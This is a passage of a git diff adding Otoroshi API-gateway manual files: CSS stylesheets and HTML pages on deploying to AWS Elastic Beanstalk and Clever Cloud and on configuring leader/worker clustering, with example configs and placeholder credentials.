2rem; + list-style-type: none; +} + +.toc.main>ul>li>a { + font-weight: bold; +} + +.toc.main>ul>li>ul { + margin-top: 1rem; +} + +.toc.main>ul>li>ul>li { + list-style-type: disc; +} + +.toc.main>ul>li>ul>li>a { + font-weight: normal; + text-transform: none; +} + +.toc.main>ul>li>ul>li>ul>li { + list-style-type: circle; +} + +/* site footer */ + +.site-footer { + margin-top: 3rem; + border-top: solid 1px #cccccc; +} + +.site-footer-content.row { + max-width: 90rem; +} + +.site-footer-nav { + padding: 2rem 0; +} + +.site-footer-nav .with-left-divider { + border-top: 0; + border-left: 1px solid rgba(255, 255, 255, 0.2); +} + +@media screen and (max-width: 40em) { + .site-footer-nav .with-left-divider { + margin-top: 2rem; + border-top: 1px solid rgba(255, 255, 255, 0.2); + padding-top: 2rem; + border-left: 0; + } + .with-responsive-left-padding-5-rem { + padding-left: none; + } +} + +@media screen and (min-width: 40em) { + .site-footer-nav .nav-links { + height: 8rem; + } + .with-responsive-left-padding-5-rem { + padding-left: 5rem; + } +} + +@media screen and (max-width: 511px) { + #search-block { + display: none !important; + } +} + +.nav-links ul { + margin: 0; + padding: 0; + line-height: 2rem; +} + +.nav-links ul>li { + list-style-type: none; + padding-left: 0; +} + +.nav-links ul>li a { + color: #c5d0d4; + font-weight: bold; + font-size: 0.9rem; +} + +.nav-links ul>li a:hover { + color: #4078C0; + text-decoration: none; +} + +.nav-links ul>li>ul li a { + font-weight: normal; + text-transform: none; +} + +.site-footer-base { + padding: 1rem 0; +} + +.site-footer-base h3, +.site-footer-base a {} + +.site-footer-base .copyright { + margin-top: 20px; +} + +.site-footer-base .copyright .text { + display: inline-block; + line-height: 24px; + padding-right: 10px; + vertical-align: top; +} + +.site-footer-base .svg-icon-logo-text {} + +.site-footer-base .svg-icon-logo-image {} + +.site-footer-base .logo:hover .svg-icon-logo-text {} + +.site-footer-base .logo:hover .svg-icon-logo-image {} + +.source-github { + padding: 10px; + padding-top: 30px; + margin-top: 20px; + border-top: 1px solid #cccccc; +} + +.source-github a { + font-weight: bold; +} + +.title-wrapper { + display: flex; +} + +.title-logo { + content: url("../imgs/bw-otoroshi-logo.png"); + margin-right: 10px; + height: 4rem; + width: 4rem; + margin: auto; + margin-bottom: 1rem; +} + +p { + text-align: justify; +} + +.centered-img { + width: 100%; + display: flex; + flex-direction: column; + justify-content: center; + align-items: center; +} + +.hidden { + display: none !important; +} + +.editor { + display: flex; + margin-bottom: 12px; +} + +.editor-quotes { + line-height: 1.45em !important; + font-family: Consolas, "Liberation Mono", Courier, monospace; + font-size: 0.85em !important; + font-weight: normal !important; + background-color: #e6e6e6; +} + +.editor>div:first-child { + min-width: 60%; + max-width: 60%; + padding: 12px !important; +} + +.editor p { + margin: 12px 0 !important; +} + +.editor div:first-child, +.editor div:last-child { + padding: 12px 0; + display: flex; + flex-direction: column; + justify-content: space-around; +} + +.editor div:last-child { + min-width: 40%; + max-width: 40%; + border-radius: 2px; + position: relative; + padding-left: 18px; +} + +.editor-value { + color: #fff; + font-size: .9em; + font-weight: bold; +} + +.editor-title { + font-size: .75em; + text-transform: uppercase; + display: inline-block; + border-radius: 1em; + padding: .25em 1em !important; + background: #45505e; + box-shadow: inset 1px 1px 1px rgb(0 0 0 / 25%); + color: #fff; + margin-bottom: 1.25rem; + margin-left: -0.5rem; + pointer-events: none; + position: absolute; + right: 12px; + top: -24px; +} + +.editor>div:first-child p, +.editor div:last-child p { + display: flex; + flex-direction: column; + margin: 0; +} + +.editor>div:first-child p span { + font-size: .95em; + text-transform: capitalize; + color: #333333; + line-height: 1.45em; + /* font-family: inherit; */ +} + +.editor code { + width: fit-content; + border-radius: 4px; + /* white-space: nowrap; */ + background-color: #ddd; +} + +.editor div:first-child code { + margin-right: 4px; +} + +.paste-button { + background: url(../imgs/paste.png) center center no-repeat; + background-size: contain; + height: 100%; + width: 100%; + cursor: pointer; +} + +.paste-button-container { + width: 32px; + height: 32px; + padding: 6px; + background-color: #eee; + border-radius: 6px; + position: absolute; + top: 8px; + right: 8px; + cursor: pointer; + display: none; +} + +.prettyprint:hover .paste-button-container { + display: block; +} + +.paste-button-container:hover { + background-color: #fff; + border: 1px solid #eee; + cursor: pointer; +} + +.paste-text { + background-color: #4078c0; + color: #fff; + border-radius: 6px; + position: absolute; + top: 8px; + right: 42px; + padding: 8px 12px; + /* font-family: inherit; */ + font-size: .8em; +} + +.nav-toc ul>li>ul li a.page::before { + content: ' - '; + font-weight: bolder; + color: #0d0058; +} + +.element-tag { + position: absolute; + top: 12px; + right: 12px; + border-radius: 4px; + font-size: .85em; + color: #fff; + padding: 4px; +} + +.recommended-tag { + background-color: lightcoral; +} + +.cluster-tag { + background-color: lightseagreen; +} + +.simple-block-toggle, +#instructions-toggle { + background-color: rgba(64, 120, 192, 0.1); + padding: 12px; + border-radius: 4px; + cursor: pointer; + display: flex !important; + align-items: center; +} + +.instructions-closed { + padding-bottom: 12px !important; +} + +.simple-block-title, +.instructions-title { + flex: 1; + display: block !important; + padding: 0 !important; +} + +.simple-block-button, +#instructions-toggle-button { + display: initial !important; + padding: 6px !important; + background-color: #ddd; + border-radius: 4px; + font-size: .85rem; + font-weight: bold; +} + +.instructions, +.simple-block { + border: 1px solid rgba(64, 120, 192, 0.1); + border-radius: 8px; + padding: 12px; + padding-bottom: 0; + margin-bottom: 12px; +} + +.instructions-closed * { + display: none; +} + +#instructions-toggle-confirm { + margin-bottom: 12px; + margin-left: auto; + padding: 12px !important; + background-color: #f9b000; + color: #fff; + border-radius: 4px; + font-size: .85rem; + font-weight: bold; +} + +.margin-top-20 { + margin-top: 20px; +} + +#search-block form div { + overflow: auto; + max-height: calc(500px - 71px); + margin-bottom: 24px; +} + +#search-zone { + display: flex; + align-items: center; + gap: 6px; + background: #eee; + padding: .75rem 1rem; + border-radius: .5rem; + border: 1px solid #eee; +} + +#search-zone svg:last-child { + margin-left: 10rem; +} + +#search-block-placeholder { + align-items: center; + margin-right: 1rem; +} + +#search-block-placeholder:hover #search-zone { + border: 1px solid #bbb; +} + +.badge { + font-family: Inter, ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, Segoe UI, Roboto, Helvetica Neue, Arial, Noto Sans, sans-serif, Apple Color Emoji, Segoe UI Emoji, Segoe UI Symbol, Noto Color Emoji; + box-sizing: border-box; + border: 0 solid #e5e7eb; + white-space: nowrap; + border-radius: 9999px; + --tw-bg-opacity: 1; + background-color: rgb(243 232 255/var(--tw-bg-opacity)); + padding-left: .625rem !important; + padding-right: .625rem !important; + padding-top: .125rem !important; + padding-bottom: .125rem !important; + font-size: .875rem !important; + line-height: 1.25rem !important; + --tw-text-opacity: 1; + color: rgb(126 34 206/var(--tw-text-opacity)) !important; + width: fit-content; + cursor: pointer; +} + +.badge:hover { + text-decoration: none; +} \ No newline at end of file diff --git a/docs/manual/css/plugins.css b/docs/manual/css/plugins.css new file mode 100644 index 0000000000..1de9ab3af2 --- /dev/null +++ b/docs/manual/css/plugins.css @@ -0,0 +1,333 @@ +.plugin { + background-color: #fff !important; + box-shadow: 0 1px 3px rgb(25 25 25 / 30%); + padding: 24px; + border-radius: 4px; + max-width: calc(33% - 36px); + min-width: calc(33% - 36px); + margin: 0 24px 24px 0; + min-height: 360px; + max-height: 360px; + overflow: hidden; + align-items: center; + justify-content: center; + float: left; + display: flex; + flex-direction: column; + justify-content: flex-start; + align-items: flex-start; +} + +@media (max-width: 1650px) { + .ng-plugin { + flex: 1 47% !important; + max-width: 47% !important; + } +} + +#plugins-container { + display: flex; + flex-wrap: wrap; + gap: 16px; +} + +.ng-plugin { + flex: 1 31%; + max-width: 31%; + box-sizing: border-box; + align-self: stretch; + + background-color: #fff !important; + box-shadow: rgba(0, 0, 0, 0.12) 0px 1px 3px, rgba(0, 0, 0, 0.24) 0px 1px 2px; + padding: 24px; + border-radius: .5rem; + + overflow: hidden; + align-items: center; + justify-content: center; + float: left; + display: flex; + flex-direction: column; + justify-content: flex-start; + align-items: flex-start; + + min-height: 320px; + cursor: pointer; +} + +.ng-plugin p { + text-align: initial; +} + +.ng-plugin ul { + list-style-type: none; + display: flex; + flex-wrap: wrap; + margin: 0; + gap: .25rem; +} + +.ng-plugin .badge { + color: #fff !important; + background-color: #f9b000; + border-radius: .5rem; +} + +.ng-plugin h2 { + font-size: 1.25rem; + font-weight: bold; +} + +.ng-plugin h3 { + font-size: 1rem; + font-weight: inherit; +} + + +@media screen and (max-width: 1440px) { + .plugin { + max-width: calc(50% - 36px); + min-width: calc(50% - 36px); + } + + .platform-actions-column { + max-width: calc(100% - 48px) !important; + min-width: calc(100% - 48px) !important; + } +} + +@media screen and (min-width: 1820px) { + .plugin { + max-width: calc(25% - 24px); + min-width: calc(25% - 24px); + } + + .platform-actions-column { + max-width: calc(50% - 24px) !important; + min-width: calc(50% - 24px) !important; + } +} + +.script { + min-height: 275px; + max-height: 275px; +} + +.script:hover { + cursor: initial !important; + box-shadow: 0 1px 3px rgb(25 25 25 / 30%) !important; +} + +.plugin:hover { + cursor: pointer; + box-shadow: 0 1px 3px rgba(12, 12, 12, .5); +} + +.plugin-badge { + background: #95a5a6; + padding: 4px 0 4px; + font-size: 10px; + border-radius: 4px; + color: #fff; + margin-top: auto; + margin-left: auto; + width: 88px; + text-align: center; + text-transform: uppercase; +} + +.plugin-open::-webkit-scrollbar { + display: none; +} + +.plugin-open { + -ms-overflow-style: none; + scrollbar-width: none; + max-width: calc(100% - 32px); + min-width: calc(100% - 32px); + min-height: 100%; + max-height: 100%; + overflow: scroll; +} + +.plugin pre { + /* padding: 1rem !important; */ + border: 1px solid #dddddd !important; + /* margin: 0 0 1rem 0 !important; */ + white-space: pre-wrap; + /* overflow: auto; */ + line-height: 0.9em !important; +} + +.plugin h2 { + font-size: 1.6em; +} + +.filters { + display: flex; + align-items: center; + margin-bottom: 12px; + flex-wrap: wrap; +} + +.filter { + padding: 8px; + background-color: #eee; + margin-right: 4px; + margin-bottom: 4px; + border-radius: 4px; + min-width: 100px; +} + +.filter-selected { + background-color: #f9b000; + color: #fff; +} + + +.plugin-hidden, +.filtered { + display: none; +} + +.platform { + display: flex; + justify-content: center; + max-height: 425px; + min-height: 425px; + position: relative; +} + +.platform img { + max-height: 140px; + margin-top: auto; + margin-bottom: auto; + align-self: center; +} + +.platform a { + padding: 8px; + background-color: #4078c0; + color: #fff; + border-radius: 4px; + box-shadow: 0 1px 3px rgba(12, 12, 12, .5); + text-decoration: none; + white-space: nowrap; + text-align: center; + flex: 1; + font-size: .9em; +} + +.platform-actions-column a:first-child { + margin-right: 4px; +} + +.platform a:nth-child(n+2):last-child { + margin-left: 4px; + background-color: #f9b000; +} + +.platform p:last-child { + display: flex; + justify-content: center; + align-items: center; + margin-bottom: 0; + width: 100%; + margin-top: auto; +} + +.platform-actions-column { + max-width: calc(66% - 48px); + min-width: calc(66% - 48px); +} + +.platform a:hover { + cursor: pointer !important; +} + +.dark-platform { + background-color: #2e3031 !important; +} + +.dark-platform h2, +.dark-platform p { + color: #fff; +} + +.dark-platform a { + box-shadow: 0 1px 3px rgba(255, 255, 255, .5); +} + +.break { + margin: 12px 0; + clear: both; +} + +.entities a { + text-decoration: none; + color: #000 !important; +} + +.entities p { + border: 1px solid #eaeaea; + padding: .5rem 1rem; + border-radius: .25rem; +} + +.entities:hover, +.entities p:hover { + background-color: #eeeeee42; +} + +.entities { + border: 1px solid #eaeaea; + box-shadow: none; + max-width: 75%; + min-width: 75%; + min-height: initial; + max-height: initial; + padding: .25rem 1rem; + border-radius: .5rem; + display: flex; + align-items: center; + clear: both; + margin-bottom: 1rem; +} + +.entities img { + max-height: 36px; + filter: brightness(0); +} + +.entities div:nth-child(2) { + display: flex; + flex-direction: column; + align-items: flex-start; + flex: 1; + margin-left: 12px; +} + +.entities span:first-child { + font-weight: bold; +} + +.entities span { + color: #000; + text-align: left; +} + +.entities a { + flex: 0; + min-width: 60px; +} + +.plugin-kind { + border: 1px solid #eaeaea; + border-radius: .5rem; + padding: 1rem; + margin-top: .5rem; +} + +.plugin-kind p { + margin: 0; +} \ No newline at end of file diff --git a/docs/manual/css/print.css b/docs/manual/css/print.css new file mode 100644 index 0000000000..01a832ebad --- /dev/null +++ b/docs/manual/css/print.css @@ -0,0 +1,27 @@ +h2 { + page-break-before: always; +} +nav.print .toc-page-line { + border-bottom: 1px dashed #bbb; +} +nav.print .toc-page-no { + float: right; +} +nav.print li { + list-style: none; +} + +.print-cover-title { + font-size: 15mm; + padding-top: 150mm; + text-align: center; + width: 100%; +} + +.print-cover-version { + font-size: 10mm; + font-style: italic; + padding-top: 20mm; + text-align: center; + width: 100%; +} \ No newline at end of file diff --git a/docs/manual/css/single.css b/docs/manual/css/single.css new file mode 100644 index 0000000000..0b595f7907 --- /dev/null +++ b/docs/manual/css/single.css @@ -0,0 +1,63 @@ +h1 { + counter-reset: h2 h3 1 h4 1 h5 1; +} + +h2 { + counter-increment: h2; + counter-reset: h3 h4 1 h5 1; +} + +h2 .header-title::before { + content: counter(h2); + margin-right: 10px; +} + +h3 { + counter-increment: h3; + counter-reset: h4 h5 1; +} + +h3 .header-title::before { + content: counter(h2) "." counter(h3); + margin-right: 10px; +} + +h4 { + counter-increment: h4; + counter-reset: h5; +} + +h4 .header-title::before { + content: counter(h2) "." counter(h3) "." counter(h4); + margin-right: 1rem; +} + +h5 { + counter-increment: h5; +} + +h5 .header-title::before { + content: counter(h2) "." counter(h3) "." counter(h4) "." counter(h5); + margin-right: 1rem; +} + +nav ul { + counter-reset: nav +} + +nav ul > ul { + counter-reset: nav; +} + +nav ul ~ ul { + counter-reset: none; +} + +nav li { + counter-increment: nav; +} + +nav li a::before { + content: counters(nav, "."); + margin-right: 0.5rem +} \ No newline at end of file diff --git a/docs/manual/deploy/aws.html b/docs/manual/deploy/aws.html new file mode 100644 index 0000000000..08911ca8a7 --- /dev/null +++ b/docs/manual/deploy/aws.html @@ -0,0 +1,572 @@ + + + + +AWS - Elastic Beanstalk · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

AWS - Elastic Beanstalk

+

Now you want to use Otoroshi on AWS. There are multiple options to deploy Otoroshi on AWS, for instance :

+ +

In this section we are going to cover how to deploy Otoroshi on AWS Elastic Beanstalk.

+

AWS Elastic Beanstalk Overview

+

Unlike Clever Cloud, to deploy an application on AWS Elastic Beanstalk, you don’t link your app to your VCS repository, push your code and expect it to be built and run.

+

AWS Elastic Beanstalk does only the run part. So you have to handle your own build pipeline, upload a Zip file containing your runnable, then AWS Elastic Beanstalk will take it from there.

+

Eg: for apps running on the JVM (Scala/Java/Kotlin) a Zip with the jar inside would suffice, for apps running in a Docker container, a Zip with the DockerFile would be enough.

+

Prepare your deployment target

+

Actually, there are 2 options to build your target.

+

Either you create a DockerFile from this Docker image, build a zip, and do all the Otoroshi custom configuration using ENVs.

+

Or you download the otoroshi.jar, do all the Otoroshi custom configuration using your own otoroshi.conf, and create a DockerFile that runs the jar using your otoroshi.conf.

+

For the second option your DockerFile would look like this :

+
FROM openjdk:11
+VOLUME /tmp
+EXPOSE 8080
+ADD otoroshi.jar otoroshi.jar
+ADD otoroshi.conf otoroshi.conf
+RUN sh -c 'touch /otoroshi.jar'
+ENV JAVA_OPTS=""
+ENTRYPOINT [ "sh", "-c", "java $JAVA_OPTS -Djava.security.egd=file:/dev/./urandom -Dconfig.file=/otoroshi.conf -jar /otoroshi.jar" ]
+
+

I’d recommend the second option.

+

Now Zip your target (Jar + Conf + DockerFile) and get ready for deployment.

+

Create an Otoroshi instance on AWS Elastic Beanstalk

+

First, go to AWS Elastic Beanstalk Console, don’t forget to sign in and make sure that you are in the good region (eg : eu-west-3 for Paris).

+

Hit Get started

+
+

Specify the Application name of your application, Otoroshi for example.

+
+

Choose the Platform of the application you want to create, in your case use Docker.

+

For Application code choose Upload your code then hit Upload.

+
+

Browse the zip created in the previous section from your machine.

+

As you can see in the image above, you can also choose an S3 location, you can imagine that at the end of your build pipeline you upload your Zip to S3, and then get it from there (I wouldn’t recommend that though).

+

When the upload is done, hit Configure more options.

+
+

Right now an AWS Elastic Beanstalk application has been created, and by default an environment named Otoroshi-env is being created as well.

+

AWS Elastic Beanstalk can manage multiple environments of the same application, for instance environments can be (prod, preprod, expriments…).

+

Otoroshi is a bit particular, it doesn’t make much sense to have multiple environments, since Otoroshi will handle all the requests from/to backend services regardless of the environment.

+

As you see in the image above, we are now configuring the Otoroshi-env, the one and only environment of Otoroshi.

+

For Configuration presets, choose custom configuration, now you have a load balancer for your environment with the capacity of at least one instance and at most four. I’d recommend at least 2 instances, to change that, on the Capacity card hit Modify.

+
+

Change the Instances to min 2, max 4 then hit Save. For the Scaling triggers, I’d keep the default values, but know that you can edit the capacity config any time you want, it only costs a redeploy, which will be done automatically by the way.

+

Instances size is by default t2.micro, which is a bit small for running Otoroshi, I’d recommend a t2.medium.
On the Instances card hit Modify.

+
+

For Instance type choose t2.medium, then hit Save, no need to change the volume size, unless you have a lot of http call faults, which means a lot more logs, in that case the default volume size may not be enough.

+

The default environment created for Otoroshi, for instance Otoroshi-env, is a web server environment which fits in your case, but the thing is that on AWS Elastic Beanstalk by default a web server environment for a docker-based application, runs behind an Nginx proxy. We have to remove that proxy. So on the Software card hit Modify.

+
+

For Proxy server choose None then hit Save.

+

Also note that you can set Envs for Otoroshi in same page (see image below).

+
+

To finalise the creation process, hit Create app on the bottom right.

+

The Otoroshi app is now created, and it’s running which is cool, but we still don’t have neither a datastore nor https.

+

Create an Otoroshi datastore on AWS ElastiCache

+

By default Otoroshi uses non persistent memory to store it’s data, Otoroshi supports many kinds of datastores. In this section we will be covering Redis datastore.

+

Before starting, using a datastore hosted by AWS is not at all mandatory, feel free to use your own if you like, but if you want to learn more about ElastiCache, this section may interest you, otherwise you can skip it.

+

Go to AWS ElastiCache and hit Get Started Now.

+
+

For Cluster engine keep Redis.

+

Choose a Name for your datastore, for instance otoroshi-datastore.

+

You can keep all the other default values and hit Create on the bottom right of the page.

+

Once your Redis Cluster is created, it would look like the image below.

+
+

For applications in the same security group as your cluster, redis cluster is accessible via the Primary Endpoint. Don’t worry the default security group is fine, you don’t need any configuration to access the cluster from Otoroshi.

+

To make Otoroshi use the created cluster, you can either use Envs APP_STORAGE=redis, REDIS_HOST and REDIS_PORT, or set otoroshi.storage=redis, otoroshi.redis.host and otoroshi.redis.port in your otoroshi.conf.

+

Create SSL certificate and configure your domain

+

Otoroshi has now a datastore, but not yet ready for use.

+

In order to get it ready you need to :

+
    +
  • Configure Otoroshi with your domain
  • +
  • Create a wildcard SSL certificate for your domain
  • +
  • Configure Otoroshi AWS Elastic Beanstalk instance with the SSL certificate
  • +
  • Configure your DNS to redirect all traffic on your domain to Otoroshi
  • +
+

Configure Otoroshi with your domain

+

You can use ENVs or you can use a custom otoroshi.conf in your Docker container.

+

For the second option your otoroshi.conf would look like this :

+
   include "application.conf"
+   http.port = 8080
+   app {
+     env = "prod"
+     domain = "mysubdomain.oto.tools"
+     rootScheme = "https"
+     snowflake {
+       seed = 0
+     }
+     events {
+       maxSize = 1000
+     }
+     backoffice {
+       subdomain = "otoroshi"
+       session {
+         exp = 86400000
+       }
+     }
+     
+     storage = "redis"
+     redis {
+        host="myredishost"
+        port=myredisport
+     }
+   
+     privateapps {
+       subdomain = "privateapps"
+     }
+   
+     adminapi {
+       targetSubdomain = "otoroshi-admin-internal-api"
+       exposedSubdomain = "otoroshi-api"
+       defaultValues {
+         backOfficeGroupId = "admin-api-group"
+         backOfficeApiKeyClientId = "admin-client-id"
+         backOfficeApiKeyClientSecret = "admin-client-secret"
+         backOfficeServiceId = "admin-api-service"
+       }
+       proxy {
+         https = true
+         local = false
+       }
+     }
+     claim {
+       sharedKey = "myclaimsharedkey"
+     }
+   }
+   
+   play.http {
+     session {
+       secure = false
+       httpOnly = true
+       maxAge = 2147483646
+       domain = ".mysubdomain.oto.tools"
+       cookieName = "oto-sess"
+     }
+   }
+
+

Create a wildcard SSL certificate for your domain

+

Go to AWS Certificate Manager.

+

Below Provision certificates hit Get started.

+
+

Keep the default selected value Request a public certificate and hit Request a certificate.

+
+

Put your Domain name, use *. for wildcard, for instance *.mysubdomain.oto.tools, then hit Next.

+
+

You can choose between Email validation and DNS validation, I’d recommend DNS validation, then hit Review.

+
+

Verify that you did put the right Domain name then hit Confirm and request.

+
+

As you see in the image above, to let Amazon do the validation you have to add the CNAME record to your DNS configuration. Normally this operation takes around one day.

+

Configure Otoroshi AWS Elastic Beanstalk instance with the SSL certificate

+

Once the certificate is validated, you need to modify the configuration of Otoroshi-env to add the SSL certificate for HTTPS. For that you need to go to AWS Elastic Beanstalk applications, hit Otoroshi-env, then on the left side hit Configuration, then on the Load balancer card hit Modify.

+
+

In the Application Load Balancer section hit Add listener.

+
+

Fill the popup as the image above, then hit Add.

+

You should now be seeing something like this :

+
+

Make sure that your listener is enabled, and on the bottom right of the page hit Apply.

+

Now you have https, so let’s use Otoroshi.

+

Configure your DNS to redirect all traffic on your domain to Otoroshi

+

It’s actually pretty simple, you just need to add a CNAME record to your DNS configuration, that redirects *.mysubdomain.oto.tools to the DNS name of Otoroshi’s load balancer.

+

To find the DNS name of Otoroshi’s load balancer go to AWS Ec2

+

You would find something like this :

+
+

There is your DNS name, so add your CNAME record.

+

Once all these steps are done, the AWS Elastic Beanstalk Otoroshi instance, would now be handling all the requests on your domain. ;)

+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/deploy/clever-cloud.html b/docs/manual/deploy/clever-cloud.html new file mode 100644 index 0000000000..c7d785f187 --- /dev/null +++ b/docs/manual/deploy/clever-cloud.html @@ -0,0 +1,452 @@ + + + + +Clever-Cloud · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Clever-Cloud

+

Now you want to use Otoroshi on Clever Cloud. Otoroshi has been designed and created to run on Clever Cloud and a lot of choices were made because of how Clever Cloud works.

+

Create an Otoroshi instance on CleverCloud

+

If you want to customize the configuration use env. variables, you can use the example provided below

+

Create a new CleverCloud app based on a clevercloud git repo (not empty) or a github project of your own (not empty).

+
+

Then choose what kind of app your want to create, for Otoroshi, choose Java + Jar

+
+

Next, set up choose instance size and auto-scalling. Otoroshi can run on small instances, especially if you just want to test it.

+
+

Finally, choose a name for your app

+
+

Now you just need to customize environnment variables

+

at this point, you can also add other env. variables to configure Otoroshi like in the example provided below

+
+

You can also use expert mode :

+
+

Now, your app is ready, don’t forget to add a custom domains name on the CleverCloud app matching the Otoroshi app domain.

+

Example of CleverCloud env. variables

+

You can add more env variables to customize your Otoroshi instance like the following. Use the expert mode to copy/paste all the values in one shot. If you want an real datastore, create a redis addon on clevercloud, link it to your otoroshi app and change the APP_STORAGE variable to redis

+
+
+``` +ADMIN_API_CLIENT_ID=xxxx +ADMIN_API_CLIENT_SECRET=xxxxx +ADMIN_API_GROUP=xxxxxx +ADMIN_API_SERVICE_ID=xxxxxxx +CLAIM_SHAREDKEY=xxxxxxx +OTOROSHI_INITIAL_ADMIN_LOGIN=youremailaddress +OTOROSHI_INITIAL_ADMIN_PASSWORD=yourpassword +PLAY_CRYPTO_SECRET=xxxxxx +SESSION_NAME=oto-session +APP_DOMAIN=yourdomain.tech +APP_ENV=prod +APP_STORAGE=inmemory +APP_ROOT_SCHEME=https +CC_PRE_BUILD_HOOK=curl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/${latest_otoroshi_version}/otoroshi.jar' +CC_JAR_PATH=./otoroshi.jar +CC_JAVA_VERSION=11 +PORT=8080 +SESSION_DOMAIN=.yourdomain.tech +SESSION_MAX_AGE=604800000 +SESSION_SECURE_ONLY=true +USER_AGENT=otoroshi +MAX_EVENTS_SIZE=1 +WEBHOOK_SIZE=100 +APP_BACKOFFICE_SESSION_EXP=86400000 +APP_PRIVATEAPPS_SESSION_EXP=86400000 +ENABLE_METRICS=true +OTOROSHI_ANALYTICS_PRESSURE_ENABLED=true +USE_CACHE=true +``` +
+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/deploy/clustering.html b/docs/manual/deploy/clustering.html new file mode 100644 index 0000000000..8b548102fd --- /dev/null +++ b/docs/manual/deploy/clustering.html @@ -0,0 +1,490 @@ + + + + +Otoroshi clustering · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Otoroshi clustering

+

Otoroshi can work as a cluster by default as you can spin many Otoroshi servers using the same datastore or datastore cluster. In that case any instance is capable of serving services, Otoroshi admin UI, Otoroshi admin API, etc.

+

But sometimes, this is not enough. So Otoroshi provides an additional clustering model named Leader / Workers where there is a leader cluster (control plane), composed of Otoroshi instances backed by a datastore like Redis, PostgreSQL or Cassandra, that is in charge of all writes to the datastore through Otoroshi admin UI and API, and a worker cluster (data plane) composed of horizontally scalable Otoroshi instances, backed by a super fast in memory datastore, with the sole purpose of routing traffic to your services based on data synced from the leader cluster. With this distributed Otoroshi version, you can reach your goals of high availability, scalability and security.

+

Otoroshi clustering only uses http internally (right now) to make communications between leaders and workers instances so it is fully compatible with PaaS providers like Clever-Cloud that only provide one external port for http traffic.

+ +

Fig. 1: Simplified view

+ +

Fig. 2: Deployment view

+

Cluster configuration

+
otoroshi {
+  cluster {
+    mode = "leader" # can be "off", "leader", "worker"
+    compression = 4 # compression of the data sent between leader cluster and worker cluster. From -1 (disabled) to 9
+    leader {
+      name = ${?CLUSTER_LEADER_NAME}   # name of the instance, if none, it will be generated
+      urls = ["http://127.0.0.1:8080"] # urls to contact the leader cluster
+      host = "otoroshi-api.oto.tools"    # host of the otoroshi api in the leader cluster
+      clientId = "apikey-id"           # otoroshi api client id
+      clientSecret = "secret"          # otoroshi api client secret
+      cacheStateFor = 4000             # state is cached during (ms)
+    }
+    worker {
+      name = ${?CLUSTER_WORKER_NAME}   # name of the instance, if none, it will be generated
+      retries = 3                      # number of retries when calling leader cluster
+      timeout = 2000                   # timeout when calling leader cluster
+      state {
+        retries = ${otoroshi.cluster.worker.retries} # number of retries when calling leader cluster on state sync
+        pollEvery = 10000                            # interval of time (ms) between 2 state sync
+        timeout = ${otoroshi.cluster.worker.timeout} # timeout when calling leader cluster on state sync
+      }
+      quotas {
+        retries = ${otoroshi.cluster.worker.retries} # number of retries when calling leader cluster on quotas sync
+        pushEvery = 2000                             # interval of time (ms) between 2 quotas sync
+        timeout = ${otoroshi.cluster.worker.timeout} # timeout when calling leader cluster on quotas sync
+      }
+    }
+  }
+}
+
+

you can also use many env. variables to configure Otoroshi cluster

+
otoroshi {
+  cluster {
+    mode = ${?CLUSTER_MODE}
+    compression = ${?CLUSTER_COMPRESSION}
+    leader {
+      name = ${?CLUSTER_LEADER_NAME}
+      host = ${?CLUSTER_LEADER_HOST}
+      url = ${?CLUSTER_LEADER_URL}
+      clientId = ${?CLUSTER_LEADER_CLIENT_ID}
+      clientSecret = ${?CLUSTER_LEADER_CLIENT_SECRET}
+      groupingBy = ${?CLUSTER_LEADER_GROUP_BY}
+      cacheStateFor = ${?CLUSTER_LEADER_CACHE_STATE_FOR}
+      stateDumpPath = ${?CLUSTER_LEADER_DUMP_PATH}
+    }
+    worker {
+      name = ${?CLUSTER_WORKER_NAME}
+      retries = ${?CLUSTER_WORKER_RETRIES}
+      timeout = ${?CLUSTER_WORKER_TIMEOUT}
+      state {
+        retries = ${?CLUSTER_WORKER_STATE_RETRIES}
+        pollEvery = ${?CLUSTER_WORKER_POLL_EVERY}
+        timeout = ${?CLUSTER_WORKER_POLL_TIMEOUT}
+      }
+      quotas {
+        retries = ${?CLUSTER_WORKER_QUOTAS_RETRIES}
+        pushEvery = ${?CLUSTER_WORKER_PUSH_EVERY}
+        timeout = ${?CLUSTER_WORKER_PUSH_TIMEOUT}
+      }
+    }
+  }
+}
+
Warning
+

You should use HTTPS exposition for the Otoroshi API that will be used for data sync as sensitive informations are exchanged between control plane and data plane.

Warning
+

You must have the same cluster configuration on every Otoroshi instance (worker/leader) with only names and mode changed for each instance. Some things in leader/worker are computed using configuration of their counterpart worker/leader.

+

Cluster UI

+

Once an Otoroshi instance is launcher as cluster Leader, a new row of live metrics tile will be available on the home page of Otoroshi admin UI.

+
+

you can also access a more detailed view of the cluster at Settings (cog icon) / Cluster View

+
+

Run examples

+

for leader

+
java -Dhttp.port=8091 -Dhttps.port=9091 -Dotoroshi.cluster.mode=leader -jar otoroshi.jar
+
+

for worker

+
java -Dhttp.port=8092 -Dhttps.port=9092 -Dotoroshi.cluster.mode=worker \
+  -Dotoroshi.cluster.leader.urls.0=http://127.0.0.1:8091 -jar otoroshi.jar
+
+

Setup a cluster by example

+

if you want to see how to setup an otoroshi cluster, just check the clustering tutorial

+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/deploy/index.html b/docs/manual/deploy/index.html new file mode 100644 index 0000000000..8afa203863 --- /dev/null +++ b/docs/manual/deploy/index.html @@ -0,0 +1,461 @@ + + + + +Deploy to production · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Deploy to production

+

Now it’s time to deploy Otoroshi in production, in this chapter we will see what kind of things you can do.

+

Otoroshi can run wherever you want, even on a raspberry pi (Cluster^^) ;)

+

Cloud APIM

+

